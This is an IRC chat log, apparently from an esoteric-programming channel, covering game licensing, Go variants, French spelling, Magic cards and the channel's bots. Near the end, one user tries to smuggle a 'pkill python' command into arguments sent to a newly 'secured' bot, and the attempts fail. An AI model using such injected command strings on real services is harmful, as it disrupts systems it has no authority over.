engine would be 100% FOSS so you are free to examine it to learn the rules better, modify it, port it to another computer, or whatever else you want. It may be AGPL3 in order to provide some kind of business protection as well as FOSS, so that any modified games you host to public cannot be made secret.) 03:50:05 Hbot is offically on a dedicated server 03:55:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 03:56:10 One reason to omit the fancy graphics and sound effects for the free version is to reduce disk space and memory usage. There can be a license exception like: The company that design this game is allowed to give anyone permission (possibly with conditions attached) to use this software under LGPL3 instead. If you modify this program, you may choose to either keep or remove this exception. 04:01:57 This is not quite enough. It also need to say that this additional permission cannot remove the requirement that anyone who exposes the program that links to it, whether on a server or otherwise, must still release the source code of the rules engine and card data including changes made, under AGPL3 or later version. 04:02:20 oh nohs, long lecture 04:02:25 `slwd gazelle//s,G,g,;s,$,., 04:02:28 wisdom/gazelle//A gazelle is just a giraffe, plotted logarithmically. 04:02:38 `? humans 04:02:39 zzo38: I think you just AGPL3 everything you distribute open-source, no exceptions 04:02:39 humans? ¯\(°​_o)/¯ 04:02:43 ("Card data" here may omit favor texts, pictures, etc; only the features used in the game (including computer codes) must be released. 04:02:48 and use a commercial license for the fancy graphics version 04:02:56 -!- kalippo has quit (Quit: Page closed). 04:02:58 `learn Humans are significantly more complicated, even up to homeomorphism. 04:03:03 Learned 'human': Humans are significantly more complicated, even up to homeomorphism. 04:04:48 ais523: Yes, that is a possibility. However, this way I suggested would ensure that the rules match (and therefore there are no hidden game rules), and that if someone experiments with custom rules and they become successful, that they can be included in the official server too. 04:05:11 zzo38: the company could use different rules in their released binaries anyway 04:05:24 GPL variants don't help there because a company can't infringe their own copyright 04:05:44 although if you want to take in community suggestions about rules, you'd either need copyright assignment or to reimplement them 04:06:55 @tell hppavilion[1] I believe you can use the Seifert-van Kampen theorem to prove that human noses and mouths cannot be topologically merged hth 04:06:55 Consider it noted. 04:08:28 @tell hppavilion[1] (how to split up a human for the theorem is left as an exercise) 04:08:28 Consider it noted. 04:09:53 wisdom/gazelle seems unjustified. 04:10:05 The purpose of the removable license exception would be so that as long as people who make rule variants do not object to it, they can be included in the official veration. Also I would insist to make it that the free and commercial versions of the computer game would use the exact same rules, although the user interface (and other options that do not affect the game rules) may differ; the paper version would also use the exact same rules (this is 04:10:06 Are we just wholesale lifting punchlines from online comics to put in wisdom now? 04:10:34 shachaf: you could make the argument that the quality of wisdom is impossible to significantly decrease 04:10:49 I don't think that's true. 04:10:52 There's a lot of great wisdom. 04:11:01 `rm wisdom/gazelle 04:11:07 No output. 04:11:15 plagiarism 04:11:57 oerjan: what if a human has a cold, though 04:13:55 "Good artists borrow, great artists steal" - 1/0 04:23:27 http://www.catonmat.net/ good coders code, great reuse 04:23:49 and it's 5:23 am and i'm late for work 04:24:30 is it possible to define a logical not function from f(x,y) = if x then y else 0? <-- post classes hit again! 04:24:38 (that's just and, anyway) 04:26:28 -!- erdic has quit (Ping timeout: 252 seconds). 04:27:14 -!- erdic has joined. 04:29:44 -!- augur has quit (Remote host closed the connection). 04:30:27 and is strictly increasing, so you can't use it to define not (which is strictly decreasing) 04:31:40 err, just regularly increasing 04:33:15 -!- moon__ has quit (Ping timeout: 276 seconds). 04:37:26 -!- Akaibu has quit (Quit: Connection closed for inactivity). 04:43:46 -!- moon_ has joined. 04:45:45 -!- ais523 has quit. 04:48:31 `file bin/unidecode 04:48:38 bin/unidecode: Python script, ASCII text executable 04:48:46 `cat bin/unidecode 04:48:47 ​#!/usr/bin/env python \ import os, sys \ import unicodedata \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ if u"DUNNO" in s: \ os.execvp("multicode", ["multicode"] + sys.argv[1:]) \ else: \ print s 04:49:02 `which python 04:49:03 ​/usr/bin/python 04:49:14 -!- Kaynato has quit (Ping timeout: 244 seconds). 04:49:29 `file bin/multicode 04:49:30 bin/multicode: Python script, ASCII text executable 04:49:40 `cat bin/multicode 04:49:41 ​#!/usr/bin/python \ \ \ import os, glob, sys, unicodedata, locale, gzip, re, traceback, encodings \ import urllib, webbrowser, textwrap \ \ # bz2 was introduced in 2.3, we want this to work also with earlier versions \ try: \ import bz2 \ except ImportError: \ bz2 = None \ \ # for python3 \ try: \ unicode \ except NameError: \ 04:49:58 `url bin/multicode 04:50:01 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/multicode 04:52:09 `` ls -l share/U* 04:52:13 ​-rw-r--r-- 1 5000 0 1367023 Jan 13 01:31 share/UnicodeData.txt 04:54:35 I managed to lock myself out of hbot's ssh, im an idiot 04:56:40 `fetch http://ftp.unicode.org/Public/9.0.0/ucd/UnicodeData.txt 04:56:48 2016-06-27 03:56:44 URL:http://ftp.unicode.org/Public/9.0.0/ucd/UnicodeData.txt [1686443/1686443] -> "UnicodeData.txt" [1] 04:57:02 `` mv Unic* share 04:57:07 No output. 04:57:18 `unidecode 🤔 04:57:40 U+1F914 THINKING FACE \ UTF-8: f0 9f a4 94 UTF-16BE: d83edd14 Decimal: 🤔 \ 🤔 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals) \ \ U+FEFF ZERO WIDTH NO-BREAK SPACE \ UTF-8: ef bb bf UTF-16BE: feff Decimal:  \  \ Category: Cf (Other, Format) \ Bidi: BN (Boundary Neutral) 04:57:42 yay 05:01:37 `len 🤔 05:01:42 2 codepoints \ 3 Java characters \ 7 UTF-8 bytes 05:04:39 *strikes 05:04:52 *-s 05:10:49 gil is not in a gentle mood 05:12:46 "Java characters" is a weird way of spelling "UTF-16 code units". 05:14:15 oerjan: ? 05:14:31 shachaf: gilgamesh wulfenbach hth 05:14:52 dyrttwh 05:15:11 well it's googleable 05:15:18 oh 05:15:23 tadh 05:15:39 I thought you were talking about Unicode. 05:15:54 -!- augur has joined. 05:15:59 no, i already fixeded that hth 05:16:04 i'm about to draw a picture as a test. something simple. what should it be? 05:16:20 quintopia: a dinosaur on a spaceship 05:16:39 like the smbc thing? 05:16:50 well that's just one iteration. 05:17:08 it goes back at least to calvin and hobbes 05:17:25 probably longer. i think we've had this discussion before. 05:19:04 http://static1.squarespace.com/static/541277b1e4b0061967ff2720/5753fe5440261dd73fe3c939/57540165fd2119480bcbb198/1465123175860/?format=750w 05:19:07 so this 05:20:32 AAAAAAAAAAAAAAAAA 05:27:22 https://github.com/NationalSecurityAgency/SIMP 05:29:01 -!- iaglium has quit (Ping timeout: 244 seconds). 05:30:06 "This organization has no public members. You must be a member to see who’s a part of this organization." 05:30:12 yeah, i bet. 05:31:44 -!- iaglium has joined. 05:34:28 -!- hppavilion[1] has joined. 05:39:22 Huh, apparently "thing that turns me on" does not constitute "fetish"- it has to be absolutely necessary. Weird. 05:41:33 -!- bb010g has joined. 05:44:55 what 05:44:57 xkcd 1053 is the most relevant xkcd at 6.3% of detected references 05:45:26 (That's the 10000 one, so I can see why it's relevant) 05:45:41 A distant second is 37 (hyphen) at about 3.2$ 05:45:46 *% 05:48:09 Most relevant xkcd references are on "other" subreditts that each constitute <1% of xkcd relevancy references 05:48:29 (63%) 05:48:41 AskReddit forms second place at 14% 06:14:21 idea: playing go but each player must put down two stones per turn 06:28:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 06:32:56 sounds broken 06:33:03 there are interesting go variants 06:34:06 my favorite: once per turn, your opponent might request that you make a move other than that move you did 06:35:09 "per turn"? 06:35:39 -!- lambda-11235 has quit (Quit: Bye). 06:35:51 turn being: thing you made before your opponents put something on the board 06:36:13 why does it sound broken? 06:36:23 you are always trying to make the second-best move that way 06:37:03 izabera: because you can clear a group and secure your position there in the same turn? 06:37:30 and so does your opponent in their turn 06:37:55 your argument is "because standard go tactics don't work"? 06:38:23 well, yeah, but i'd say you have a huge disadvantage as soon as your opponent is the first in doing so 06:39:09 because if your opponent captures and secures your group, you probably can't do the same, because there may nothing to capture 06:40:01 i might ask a reasonable advanced player i know 06:40:14 how advanced? 06:40:46 second best german player once 06:40:57 wow :o 07:24:55 -!- Nathan2055 has quit (Quit: Connection closed for inactivity). 07:30:46 -!- PinealGlandOptic has joined. 07:36:56 -!- oerjan has quit (Quit: leaving). 07:42:39 -!- MoALTz has joined. 07:51:01 hi everyone! what are CPU archs in which general purpose registers has different size than address registers? example: Cray-1: 64-bit GPRs and 24-bit address registers. 07:51:31 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 07:54:07 All of the 8-bit CPUs? 07:54:24 pikhq: yes, thanks 07:54:26 (which had 8-bit GPRs, and typically 16 bit address registers) 08:33:45 `? canada 08:33:58 Canada is Big Scotland. Like, you know, very big. 08:35:27 does anyone know how to whitelist 192.168.* in noscript? 08:40:01 -!- bender has joined. 08:40:51 -!- PinealGlandOptic has quit (Quit: leaving). 08:57:44 -!- Frooxius has joined. 09:27:32 wow, a Hannelore dragon 09:27:41 ohai, ais523 09:32:11 boily: that's a quote from http://www.irregularwebcomic.net/1458.html 09:40:33 -!- augur has quit (Remote host closed the connection). 09:44:51 -!- hppavilion[1] has joined. 09:46:24 -!- ^v has quit (Quit: ZNC - http://znc.in). 09:47:59 -!- ^v has joined. 09:49:05 Ha! The International Union for the Conservation of Nature classifies humans as "Least Concern" on their endangered species red list 09:49:47 -!- bb010g has quit (Quit: Connection closed for inactivity). 09:53:06 <^v> woot 09:53:13 <^v> rDNS ftw 09:58:19 hppavilion[1]: aka "I don't care, they will be probably fine" 09:58:39 lifthrasiir: It's weird 09:58:58 hppavilion[1]: they just choose to put a label to "None" case 09:59:04 lifthrasiir: Shouldn't humans be "Most Concern"? As in, "They're the ones fucking everything up in the first place"? 10:00:42 hppavilion[1]: in terms of conversation humans require negative amount of converstaion 10:01:39 -!- Phantom_Hoover has joined. 10:02:17 -!- Phantom__Hoover has joined. 10:06:29 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds). 10:16:27 `wisdom 10:16:49 the//the Toe of Harriness's Enclosure 10:17:24 Ranked pairs voting is resolvable in O(N^4) time. Wow. 10:17:55 Better than the Keme­ny-Young's O(N!) time 10:18:11 But there is one resolvable in O(1) time 10:40:48 `wisdom 10:40:53 arothmorphise//arothmorphise ... antormo... antrohm... ant... oh bugger. This should go in the `misspellings of antrhrop... atnhro...' entry. 10:41:36 lol 10:41:38 `random-card 10:41:45 Soulquake \ 3UUBB \ Sorcery \ Return all creatures on the battlefield and all creature cards in graveyards to their owners' hands. \ ARB-R 10:43:30 `culprits wisdom/arothmorphise 10:43:50 int-e ais523 oerjan elliott boily 10:48:03 `wisdom 10:48:04 frame//A frame is just a complete Heyting algebra. Frame homomorphisms don't preserve implication, if you know what I mean. 10:48:20 HackEgo: I don't know what you mean. 10:48:29 Apparently wisdom entries don't preserve implication either. 11:15:47 izabera: go with two stones per turn seems to be a thing 11:17:46 -!- Koen_ has joined. 11:26:14 I want a program that lets me pass 3D objects through 2D space 11:26:16 -!- Koen__ has joined. 11:26:22 Moving on all axis and rotating 11:26:28 For various solids 11:26:43 And, preferably, allows me to do similar things in 4D 11:26:48 (through 3D) 11:27:04 I'd hack a program for this, but that's above my knowledge 11:29:01 -!- Koen_ has quit (Ping timeout: 250 seconds). 11:37:05 -!- boily has joined. 11:51:07 -!- iaglium has quit (Ping timeout: 260 seconds). 11:53:06 `wisdom 11:53:48 twnh//twnh is dubious hambiguitous help that will or will not be help. It is provided by a toe with no hair. 12:01:39 -!- iaglium has joined. 12:03:31 `? physiology 12:03:40 physiology? ¯\(°​_o)/¯ 12:03:59 `learn physiology looks confusingly like psychology when written in English. 12:04:09 Learned 'physiology': physiology looks confusingly like psychology when written in English. 12:06:43 b_jellonas. are they hungarianly different? 12:08:30 boily: yes, because physiology is written with an "f". just like in french. 12:09:17 itym «physiologie» hth 12:09:36 Basically, English uses ch AND th AND ph for words from greek, French uses ch AND th but not ph, and Hungarian uses only ch (but sometimes writes it as kh). 12:10:53 boily: yeah, I dunno, French has "photographie" 12:10:58 I don't understand how it works 12:12:07 -!- spockers has quit (Remote host closed the connection). 12:12:52 -!- spockers has joined. 12:13:08 we «ph» just about everything that remotely may have looked Greek somewhere in the past, and a few more to make sure we didn't miss any on the way. 12:14:13 in french we mostly ph anything that we know was a phi, too 12:15:20 I guess I'm just confused 12:15:47 photographie, physique, ... 12:16:20 chiropractique... 12:16:30 yes, and téléphone too 12:16:34 we're not very consistent as to whether ch should be pronounced sh or k in greek words though 12:16:55 chiropractique might be pronounced kiro 12:17:07 even though ch is pronounced sh in mostly every word 12:17:30 Koen__: and écho is probably pronounced with a k only, or so I hear 12:17:32 -!- Koen__ has changed nick to Koen_. 12:17:40 true 12:17:53 why isn't that just written as kh instead then? 12:17:57 I mean, th already works fine 12:18:00 I wouldn't even have thought about this one, if feels natural 12:18:15 we don't use kh at all 12:18:27 yeah... but you should 12:18:47 we already have c and q for the k sound; the letter k is barely ever used, and kh is never ever used 12:19:06 we even dropped the «h» from khaki. 12:19:07 hmm... so qh? that would work too 12:19:12 'c' is only pronounced k in front of an a, u or o, though 12:19:32 and q is always followed by a silent u, except when it's followed by a nonsilent u 12:19:51 like in piqûre (notice the ^ to emphasis on the u not being silent) 12:20:03 (or before a consonant) 12:20:20 yes, c is pronounced k before a consonant 12:21:03 "q is always followed by a silent u" => I don't buy that one, because there are tons of words ending in q, the most common being cinq and coq 12:21:16 and we can always force it to be pronounced s by adding a "cédille": ç 12:21:32 there's a list for Scrabble players for q-words without qu. 12:21:39 haha 12:21:48 "piqûre" => I haven't heard of this thing 12:21:55 it means sting 12:22:13 like a bee sting, or a nurse sting 12:22:47 (hmm, I think there was another common word ending in q but I don't recall which one) 12:22:54 (cinq is the obvious one, but there was a second) 12:23:45 https://www.listesdemots.com/motsavecqsansu.htm 12:23:50 http://dict.xmatiere.com/suffixe.php "Les mots français finissant par 'q': cinq, coq, q" 12:24:08 that's your "tons of words ending in q" 12:24:20 hmm 12:24:38 almost every word in boily's list are imported from arabic languages 12:24:54 hmm, probably cinq and coq are the only common ones than 12:25:12 there's qwerty in the list :/ 12:25:14 then 12:25:24 boily: that's ironic 12:30:13 -!- boily has quit (Quit: FINAL CHICKEN). 12:40:56 -!- copumpkin has joined. 12:51:08 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 13:01:26 -!- bender has quit (Ping timeout: 258 seconds). 13:11:49 -!- bender has joined. 13:47:31 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 13:54:29 http://www.photoshoprequest.com/ >:) 13:58:29 -!- APic has joined. 13:58:42 this is the most astonishing political clusterfuck i've ever seen 14:19:10 -!- moon_ has quit (Quit: Bye). 14:19:25 -!- moon_ has joined. 14:31:52 -!- Sgeo_ has joined. 14:33:46 -!- moon__ has joined. 14:49:19 Do you use the mercurial vcs? Did it change its official homepage from http://mercurial.selenic.com/ to https://www.mercurial-scm.org/ ? Or is that an attempted takeover after the old homepage is gone? 14:49:39 -!- `^_^v has joined. 14:58:18 https://packages.debian.org/stretch/mercurial says it's changed 14:58:42 -!- moon___ has joined. 14:58:47 (why can't urls just live forever at least as a redirect, argh) 14:59:37 -!- moon__ has quit (Ping timeout: 250 seconds). 15:14:41 -!- moon___ has changed nick to moonythedwarf. 15:15:03 -!- moonythedwarf has changed nick to Moonythehuman. 15:20:23 Phantom__Hoover: Which political clusterfuck in particular? 15:20:31 Moonythehuman: ................. 15:20:32 hppavilion[1], brexit 15:20:46 Phantom__Hoover: Ah, yes, the fucks are clustering this fortnight 15:21:08 * Moonythehuman shouts at hppa villion becauseim in a diffrent chat 15:22:02 Moonythehuman: Doesn't change anythign 15:24:33 `wisdom 15:24:51 hthyh//"hthyh" is a common typo for "tithe". 15:25:04 `? thyme 15:25:06 Thyme itself is only an abstract approximation of oregano. 15:25:18 ` oregano 15:25:20 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 15:25:26 `? oregano 15:25:29 oregano? ¯\(°​_o)/¯ 15:26:45 `? shaffron 15:26:46 shaffron? ¯\(°​_o)/¯ 15:27:45 `? saffron 15:27:49 saffron? ¯\(°​_o)/¯ 15:28:31 `? time 15:28:33 time? ¯\(°​_o)/¯ 15:35:05 -!- Moonythehuman has quit (Ping timeout: 244 seconds). 15:35:07 -!- moon__ has joined. 15:54:58 -!- bender has quit (Quit: Leaving). 15:57:43 -!- Akaibu has joined. 16:09:49 -!- Akaibu has quit. 16:23:59 NOOOOOO 16:24:05 SOLARIS DOESN'T HAVE open_memstream() 16:24:08 NOOOOOOOOOO 16:24:17 i don't want to allocate strings manually! 16:24:19 :'( 16:26:28 and no fmemopen either :'''( 16:31:09 `i got bored and came up with a quick esolang 16:31:21 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: i: not found 16:31:48 -!- copumpkin has joined. 16:31:53 Oops 16:32:09 http://pastebin.com/VdTCVUS9 16:32:14 thats info on it 16:34:21 Isn't it great when you have a computer problem 16:34:24 And you can never fix it 16:34:26 So you give up 16:34:46 Then a month later you want it again and you google slightly differently and IMMEDIATELY get a response that works on the first try with no hassle? 16:35:02 -!- moon__ has changed nick to moonythehuman. 16:35:17 Mhm 16:35:19 just a moment 16:35:22 im logging in 16:35:25 dont yell at me hppavilion[1] 16:35:45 -!- moonythehuman has changed nick to moonythedwarf. 16:35:53 -!- moonythedwarf has changed nick to moon__. 16:39:49 -!- jaboja has joined. 16:40:10 WHAT THE ACTUAL FUCK moon__ 16:40:15 YOU CAN'T KEEP DOING THIS 16:40:20 ? 16:40:29 STOP CHANGING YOUR GODDAMN NICKNAME 16:40:34 o.o 16:40:41 Sorry. 16:40:48 -!- Taneb has changed nick to Ngevd. 16:40:50 i just wanted to join your fun game 16:40:59 which one? 16:41:06 what one? 16:41:14 the one where hppavilion[1] tells you to stop changing your nickname 16:41:16 for reasons 16:41:22 oh lol 16:41:24 Yeah, I don't really understand that 16:41:27 -!- Ngevd has changed nick to atriq. 16:41:48 atriq: ...I hate you. With a passion. 16:41:59 :3 16:42:02 -!- atriq has changed nick to nvd. 16:42:07 -!- moon__ has changed nick to Somebody. 16:42:32 -!- Somebody has changed nick to moonheart08. 16:42:48 -!- moonheart08 has changed nick to moonythedwarf. 16:43:00 -!- moonythedwarf has changed nick to moonythehuman. 16:43:13 I think this is enough 16:43:15 -!- moonythehuman has changed nick to moon__. 16:43:15 -!- nvd has changed nick to Taneb. 16:43:20 Lol 16:43:22 True 16:43:54 `? Ngevd 16:43:58 m¦ K;¶Ì¤X…ê -F¶9^áÀ¾m‹)®ˆ»Ð*[¯†óE(”ÏY‹NÓs \ ÁΩ¤Q|®‡I7ÓÑS‡µ›‘“nàÁ²ÊÕñVGL"N ’a¦©¥eYƒHù·E¶äí¤œðœj<ˆS£Ege¥Ûj)C+òf!A»[0ÃTúו姵åؽ¸ö${¯–º×éó¶îêía[á]>õVñ&p±ÅN.<ØLF“ÆVÎoz¿]•ºYõ§d`bp£½è;hb-~ð]ü qå¡@ûN0‘Œ©c… ÞÚߺpºiZøŽØí]*êpº;^àÜ̓d•´;1c_¥î'`K&e.ólάj«d¨·).ã‡.L<Ço·L&BtzHÖó­ËÊVô¥Øâ̽öl=Ø-Nßö1ÙÐV‚J´;\¥ÍGÿ¶Ûœ)½lN 16:55:24 -!- moon___ has joined. 16:56:12 -!- moon__ has quit (Ping timeout: 276 seconds). 16:58:48 -!- jaboja has quit (Ping timeout: 276 seconds). 16:59:24 -!- jaboja has joined. 17:00:37 <\oren\> hppavilion[1]: why not add a script to your irc client that displays the username of someone who changed nicks as ? 17:01:02 \oren\: Well, obviously because- um... 17:01:35 <\oren\> note that actual usernames can't have / in them, so there's no chance of confusion 17:01:44 <\oren\> *nicks 17:09:06 \oren\: But what about when I try to \oren\: them? 17:32:09 -!- moon___ has changed nick to moonythedwarf. 17:44:49 <\oren\> remeber the new name is after the / 17:45:54 clear 17:46:36 (wrong window) 17:52:36 Hehe. 17:56:47 Taneb: what is the difference between taneb and ngevd? how did you come up with these? 18:00:16 I somehow wound up at http://www.fearof.net/fear-of-holes-phobia-trypophobia/ 18:00:26 And honestly, the cover image is kind of unsettling 18:00:38 Probably not real; just a placebo 18:00:39 But still 18:00:42 It's fucking weird 18:01:46 No, that flower is real 18:02:01 -!- AnotherTest has joined. 18:02:02 its how those 'hole covered body parts' are made, using that flower as a template 18:04:25 moonythedwarf: Yeah 18:04:31 moonythedwarf: But that picture is still unsettling 18:04:56 Lol 18:05:04 Then you have Trypophobia :P 18:06:31 moonythedwarf: Probably not 18:06:50 moonythedwarf: Though random statistics I got from the short description on Google Images says 15%, so... 18:07:08 i think most people have it just a little, just like most people are at least a bit averse to snakes and spiders and ticks 18:08:25 quintopia: Yeah, that's my guess 18:20:03 -!- AnotherTest has quit (Ping timeout: 276 seconds). 18:34:43 -!- AnotherTest has joined. 18:38:38 you cannot have "a little bit" of a phobia 18:39:01 . o O ( I'm afraid you can... *runs* ) 18:39:09 -!- Kaynato has joined. 18:39:35 -!- augur has joined. 18:41:55 hppavilion[1]: the picture reminds me of ꙮ 18:42:44 (Seriously, it's not the holes, its the EYES!) 18:49:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 18:52:48 -!- moonythedwarf has quit (Ping timeout: 244 seconds). 18:53:03 -!- moon__ has joined. 18:56:33 -!- AnotherTest has quit (Ping timeout: 240 seconds). 19:04:39 -!- jaboja has quit (Ping timeout: 264 seconds). 19:05:39 -!- wob_jonas has joined. 19:06:50 They're actually printing a S.N.O.T. or BBM in black-bordered land? How's that possible? Did Maro take the son of the rules manager hostage to force him or something? 19:10:13 Seriously! 19:23:02 -!- hppavilion[1] has joined. 19:27:26 <\oren\> wob_jonas: Uhh... I have no idea what you're talking about. 19:27:36 <\oren\> `relcome wob_jonas 19:27:43 \oren\: M:tG 19:27:53 wait, why are you relcoming me? 19:28:00 ​wob_jonas: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 19:28:09 ARGH! the colors! they hurt 19:28:17 <\oren\> hmmm.... oh, you're b_jonas in diguise! 19:28:37 yes 19:28:46 I didn't know this counts as a disguise 19:29:03 <\oren\> it is a clever one 19:29:12 wob_jonas: the text you wrote served the purpose of disguise better than your nick 19:29:25 sure 19:29:35 (I also have not clue what that was about...) 19:29:56 `? rainbow 19:29:58 Rainbows are spectral creatures said to be powered by the Daystar. 19:30:24 <\oren\> hmm I think S.N.O.T is some unhinged card 19:30:47 yes, S.N.O.T is a famous un-card 19:31:56 oh it's b_jonas' gatherer personality 19:32:24 and the other card is called B.F.M., not BMM actually 19:36:49 too bat the snot thing isn't a real card... it'd be fun to see the oracle card text evolve as people try to stick snots to other player's snots, for example... 19:37:36 (sure it becomes a single creature, but who controls it? if it is tapped, will it still be tapped afterwards?) 19:37:39 -!- jaboja has joined. 19:37:58 int-e: trying to stick to an opponent's S.N.O.T. is a lesser, problem, can easily be solved be banning that, and that's exactly what they've done in the SNOT they printed. That's not the biggest problem. 19:38:16 There are bigger rules difficulties. 19:42:32 quintopia, Taneb I use pretty much everywhere 19:42:38 Ngevd is (more or less) my initials 19:49:17 Eg. what happens if Flickerform is attached to a glued new SNOT card, and you use Flickerform's ability on it. 19:49:35 Both cards return, but what will Flickerform (and possibly other auras) get attached to? 19:49:48 -!- jaboja has quit (Read error: Connection reset by peer). 19:50:15 The rules team has probably already solved most of this with rules specific to SNOT stuff, and it will be in the rules update, but it's opening a huge can of worms. 19:51:51 (Gift of Immortality also works instead of Flickerform) 20:00:11 -!- augur has quit (Remote host closed the connection). 20:02:24 @metar KOAK 20:02:24 KOAK 271853Z 30008KT 10SM CLR 22/11 A3002 RMK AO2 SLP166 T02170106 20:12:04 -!- adu has joined. 20:12:48 `wisdom 20:13:00 Taneb: What is the meaning of Taneb? 20:13:01 m–rdalsjökull//M–rdalsjökull is a draconic volcano harbouring the secret KATL base. 20:16:17 -!- jaboja has joined. 20:26:19 * ski . o O ( Myrdalsjökull ) 20:27:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:29:47 shachaf, it means me 20:37:58 -!- iaglium has quit (Ping timeout: 272 seconds). 20:38:56 `wisdom 20:38:59 lord//The way of the Lord is not just. 20:39:03 `wisdumb 20:39:04 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wisdumb: not found 20:39:43 (it's "not just"? not just what?) 20:48:27 -!- jaboja has quit (Ping timeout: 264 seconds). 20:54:43 -!- augur has joined. 20:59:26 -!- AnotherTest has joined. 20:59:50 -!- augur has quit (Read error: Connection reset by peer). 21:00:16 -!- augur has joined. 21:00:25 <\oren\> olsner: i think it's the adjective 'just' not the adverb 21:02:19 -!- ^v has quit (Ping timeout: 250 seconds). 21:08:04 -!- ^v has joined. 21:13:15 -!- AnotherTest has quit (Ping timeout: 258 seconds). 21:20:15 -!- moon__ has changed nick to moonythedwarf. 21:21:02 -!- jaboja has joined. 21:28:57 -!- `^_^v has quit (Quit: This computer has gone to sleep). 21:32:39 -!- adu has quit (Quit: adu). 21:51:35 <\oren\> I tried out the Solarized color scheme 21:51:53 <\oren\> I don't like it. I don't like my text looking yellowy 21:53:08 <\oren\> in dark mode, I don't like the fact there is so little contrast 21:53:25 Hbot is now sandboxed and secured 22:01:57 `date' '; pkill python 22:02:33 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: date': not found 22:02:57 `batch -c date' '; pkill python 22:02:58 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: batch: not found 22:03:04 *bash 22:03:06 im stupid 22:03:20 `bash -c date' '; pkill python 22:03:21 bash: - : invalid option \ Usage:bash [GNU long option] [option] ... \ bash [GNU long option] [option] script-file ... \ GNU long options: \ --debug \ --debugger \ --dump-po-strings \ --dump-strings \ --help \ --init-file \ --login \ --noediting \ --noprofile \ --norc \ --posix \ --protected \ --rcfile \ --restricted \ --verbose \ 22:06:23 -!- PinealGlandOptic has joined. 22:25:33 -!- hppavilion[1] has joined. 22:27:54 -!- moon_ has quit (Ping timeout: 244 seconds). 22:28:15 -!- moon_ has joined. 22:28:47 -!- moonythedwarf has quit (Ping timeout: 250 seconds). 22:30:28 -!- zz has joined. 22:30:32 hi 22:32:49 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 22:33:06 is "he made her duck" actually valid to say if you want to express that a male transformed some girl into a bird? i am missing prepositions in that 22:33:44 well it might mean he conceived her pet duck 22:34:11 well yeah, it's the point to be ambigious 22:34:16 or that he shot at her and she had to duck 22:34:28 i found it with 5 different meanings 22:34:32 myname, "he made her a duck" is what you want, or "he made her into a duck" 22:34:44 "he made her duck" means "he made her bend down to avoid some projectile" 22:34:47 pretty sure he made her duck is correct 22:34:58 Not into a bird -- without the 'a' in 'a duck' it's just like, duck meat. 22:35:01 Taneb: it could also mean he prepared a meal for her 22:35:03 well I would be if I was british 22:35:14 myname, yes, that too 22:35:40 Taneb: it could also mean he used the duck that belonged to her and prepared a meal 22:35:40 Yeah, probably referring to the food that was made 22:35:45 bud spencer died today 22:35:47 (in that case) 22:36:01 again: the point of it was tp be ambigious 22:36:17 i am not asking what the meaning is, i wondered because of the last example 22:36:23 which was transforming 22:36:39 <\oren\> `` perl -e'for$x(30,37,31,33,32,36,34,35){print"\033[${x}m foo \033[1m bar \033[0m\n"}' 22:36:44 ​[30m foo [1m bar [0m \ [37m foo [1m bar [0m \ [31m foo [1m bar [0m \ [33m foo [1m bar [0m \ [32m foo [1m bar [0m \ [36m foo [1m bar [0m \ [34m foo [1m bar [0m \ [35m foo [1m bar [0m 22:37:20 <\oren\> hackego why did you collapse birght and dark colors into the light color? 22:37:27 -!- Sprocklem has quit (Ping timeout: 276 seconds). 22:37:36 except for black 22:38:12 <\oren\> myname: it's even inconsistent 22:45:23 -!- moon__ has joined. 22:51:37 -!- lambda-11235 has joined. 22:54:08 -!- PinealGlandOptic has quit (Quit: leaving). 22:55:47 -!- MoALTz has quit (Ping timeout: 244 seconds). 22:58:21 -!- moon___ has joined. 22:58:49 -!- moon_ has quit (Ping timeout: 260 seconds). 22:59:30 -!- moon__ has quit (Ping timeout: 246 seconds). 23:00:32 -!- moon_ has joined. 23:02:54 -!- boily has joined. 23:05:05 @metar CYUL 23:05:05 CYUL 272100Z 21012G18KT 15SM FEW030TCU FEW250 27/20 A2980 RMK TCU2CI1 CI TR SLP091 DENSITY ALT 1600FT 23:06:34 @metar CYUL 23:06:35 CYUL 272100Z 21012G18KT 15SM FEW030TCU FEW250 27/20 A2980 RMK TCU2CI1 CI TR SLP091 DENSITY ALT 1600FT 23:06:38 ... 23:06:56 -!- Etaoin has joined. 23:07:06 ola 23:07:38 Hellaoin! 23:07:41 @metar CYUL 23:07:41 CYUL 272100Z 21012G18KT 15SM FEW030TCU FEW250 27/20 A2980 RMK TCU2CI1 CI TR SLP091 DENSITY ALT 1600FT 23:07:49 dammit. y u no update! 23:07:57 -!- zz has left ("Leaving"). 23:08:41 @metar CYUL 23:08:41 CYUL 272200Z 22009G15KT 30SM FEW030TCU FEW180 28/20 A2978 RMK TCU2AC1 AC TR SLP087 DENSITY ALT 1700FT 23:08:45 ah, finally! 23:14:22 -!- moon___ has changed nick to moonythehuman. 23:14:42 -!- moonythehuman has changed nick to moonythedwarf. 23:17:08 <\oren\> @metar CYYZ 23:17:08 CYYZ 272200Z 27013G22KT 15SM FEW085 32/13 A2982 RMK CU2 SLP097 DENSITY ALT 2700FT 23:17:13 what's that? 23:17:24 <\oren\> a weather reprot 23:17:34 <\oren\> CYYZ means toronto 23:18:55 <\oren\> 32 degrees, ack 23:21:15 I figured it had to do with airplanes 23:21:21 cause yyz 23:21:25 